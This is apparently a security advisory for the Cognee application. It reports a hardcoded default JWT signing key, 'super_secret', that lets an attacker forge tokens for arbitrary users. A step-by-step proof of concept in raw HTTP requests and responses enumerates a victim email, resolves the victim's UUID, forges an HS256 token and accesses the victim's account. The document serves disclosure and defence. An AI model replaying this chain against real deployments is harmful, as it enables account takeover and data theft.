| Description | Summary
An insecure default JWT signing key (super_secret) allows a remote attacker to forge valid HS256 JWTs for arbitrary existing users when a deployment does not override FASTAPI_USERS_JWT_SECRET. Normally, deployments of this project should enforce changing the default signing key.
In the tested Cognee instance, this becomes a complete black-box account takeover chain because:
the registration flow reveals whether an email already exists;
any authenticated user can call /api/v1/users/get-user-id to resolve an email to a user UUID; and
the application accepts JWTs signed with the default secret for protected endpoints.
Using this chain, an attacker can enumerate an existing email, resolve the victim UUID, forge a JWT for that victim, and access protected APIs as the victim.
Details
The JWT secret is hardcoded with a working fallback value in both authentication backends:
cognee/modules/users/authentication/get_api_auth_backend.py:17-21
cognee/modules/users/authentication/get_client_auth_backend.py:17-23
Both contain:
secret = os.getenv("FASTAPI_USERS_JWT_SECRET", "super_secret")
The project template also ships the same value as the example secret:
.env.template:303-307
FASTAPI_USERS_JWT_SECRET="super_secret"
This means that if an operator does not replace the default value, the runtime signing key is predictable.
The black-box exploitation chain is strengthened by the following behavior:
POST /api/v1/auth/register distinguishes existing from non-existing emails.
In my local verification on August 3, 2026, re-registering an existing email returned:
{"detail":"REGISTER_USER_ALREADY_EXISTS"}
Any authenticated user can resolve an arbitrary email to a UUID through:
cognee/api/v1/users/routers/get_user_id_by_email_router.py:17-24
mounted in cognee/api/client.py:276-279
@router.post("/get-user-id")
async def get_user_id(body: UserEmailRequest, user: User = Depends(get_authenticated_user)):
user_id = await get_user_id_by_email(str(body.email))
if user_id is None:
raise HTTPException(status_code=404, detail="User not found")
return {"user_id": str(user_id)}
The login endpoint returns a normal JWT to the attacker:cognee/api/v1/users/routers/get_auth_router.py:24-39
The attacker can decode their own JWT payload without knowing any secret and directly learn the expected claim shape, including:
aud = ["fastapi-users:auth"]
a valid exp format
At that point, the attacker only needs to replace sub with the victim UUID and re-sign the token with HS256 using super_secret.
I reproduced this locally on August 3, 2026 against:
http://127.0.0.1:8010
health check response: {"status":"ready","health":"healthy","version":"1.4.1-local"}
PoC
The following is the exact request/response sequence used in my local reproduction.
Prerequisites:
the deployment uses the default JWT secret super_secret, or does not override FASTAPI_USERS_JWT_SECRET;
user registration is enabled;
a normal authenticated user can access /api/v1/users/get-user-id.
1. Confirm that the victim email already exists
Request:
POST /api/v1/auth/register HTTP/1.1
Host: 127.0.0.1:8010
Content-Type: application/json
Connection: close
Content-Length: 69
{"email":"[email protected]","password":"Passw0r3131d!1123123"}
Response:
HTTP/1.1 400 Bad Request
date: Mon, 03 Aug 2026 07:42:52 GMT
server: uvicorn
content-length: 41
content-type: application/json
Connection: close
{"detail":"REGISTER_USER_ALREADY_EXISTS"}
This confirms that [email protected] is already registered.
2. Create an attacker account
Request:
POST /api/v1/auth/register HTTP/1.1
Host: 127.0.0.1:8010
Content-Type: application/json
Connection: close
Content-Length: 63
{"email":"[email protected]","password":"Passw0rd!123"}
Response:
HTTP/1.1 201 Created
date: Mon, 03 Aug 2026 07:43:23 GMT
server: uvicorn
content-length: 178
content-type: application/json
Connection: close
{"id":"e6ef4196-a252-4d47-a228-
1f8c8fdc8c2d","email":"[email protected]","is_active":true,"is_superuser":false,"is_verified":false,"tenant_id
":null,"parent_user_id":null}
3. Log in as the attacker and obtain a valid JWT
Request:
POST /api/v1/auth/login HTTP/1.1
Host: 127.0.0.1:8010
Content-Type: application/x-www-form-urlencoded
Connection: close
username=attacker_demo%40example.com&password=Passw0rd!123
Response:
HTTP/1.1 200 OK
date: Mon, 03 Aug 2026 07:43:58 GMT
server: uvicorn
content-length: 245
content-type: application/json
set-cookie:
auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJhdWQiOl
siZmFzdGFwaS11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0; HttpOnly; Path=/;
SameSite=Lax
Connection: close
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJh
dWQiOlsiZmFzdGFwaS11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0","token_type":
"bearer"}
The attacker can decode this JWT payload and learn that the application expects:
{
"sub": "<user_uuid>",
"aud": ["fastapi-users:auth"],
"exp": <unix_timestamp>
}
4. Use the attacker JWT to resolve the victim UUID
Request:
POST /api/v1/users/get-user-id HTTP/1.1
Host: 127.0.0.1:8010
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJhdWQiOlsiZmFzdGFwa
S11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0
Content-Type: application/json
Connection: close
Content-Length: 35
{"email":"[email protected]"}
Response:
HTTP/1.1 200 OK
date: Mon, 03 Aug 2026 07:44:39 GMT
server: uvicorn
content-length: 50
content-type: application/json
Connection: close
{"user_id":"4baf09fa-dfea-4fa4-8e44-4aad2c62d031"}
Now the attacker knows the victim UUID.
5. Forge a victim JWT with the default secret
Using the victim UUID from the previous step, the attacker creates the following JWT payload:
{
"sub": "4baf09fa-dfea-4fa4-8e44-4aad2c62d031",
"aud": ["fastapi-users:auth"],
"exp": 1893457000
}
Sign it with:
algorithm: HS256
secret: super_secret
The forged JWT used in my local test was:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0YmFmMDlmYS1kZmVhLTRmYTQtOGU0NC00YWFkMmM2MmQwMzEiLCJhdWQiOlsiZmFzdGFwa
S11c2VyczphdXRoIl0sImV4cCI6MTg5MzQ1NzAwMH0.7bBF1F9hINJHjlQXPjgurcpaeBsvOPDlgEIZg1kVqUc
6. Access a protected endpoint as the victim
Request:
GET /api/v1/users/me HTTP/1.1
Host: 127.0.0.1:8010
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0YmFmMDlmYS1kZmVhLTRmYTQtOGU0NC00YWFkMmM2MmQwMzEiLCJhdWQiOlsiZmFzdGFwa
S11c2VyczphdXRoIl0sImV4cCI6MTg5MzQ1NzAwMH0.7bBF1F9hINJHjlQXPjgurcpaeBsvOPDlgEIZg1kVqUc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Response:
HTTP/1.1 200 OK
date: Mon, 03 Aug 2026 07:58:27 GMT
server: uvicorn
content-length: 176
content-type: application/json
{"id":"4baf09fa-dfea-4fa4-8e44-4aad2c62d031","email":"[email protected]","is_active":true,"is_superuser":false,"is_verified":false,"tenant_id":null,"parent_user_id":null}
This confirms that the forged JWT is accepted and that the attacker is authenticated as the victim.
Impact
This is an authentication bypass / account takeover vulnerability.
Affected users:
- self-hosted or deployed Cognee instances that do not replace the default JWT signing key;
- any users whose accounts exist on those instances.
- a remote attacker can resolve victim UUIDs through /api/v1/users/get-user-id;
- a remote attacker can forge JWTs for arbitrary existing users;
- any endpoint protected by get_authenticated_user can be accessed as the victim.
In my local testing, the impact was not limited to /api/v1/users/me. After forging a victim JWT, I was also able to access victim-scoped protected functionality such as dataset listing and raw data access, and create a new API key for the victim account. That means this issue can lead to persistent account takeover, data exposure, and further abuse of victim permissions.
This vulnerability was reported to the vendor via GitHub security advisory, but has been unacknowledged for over three weeks. |
|---|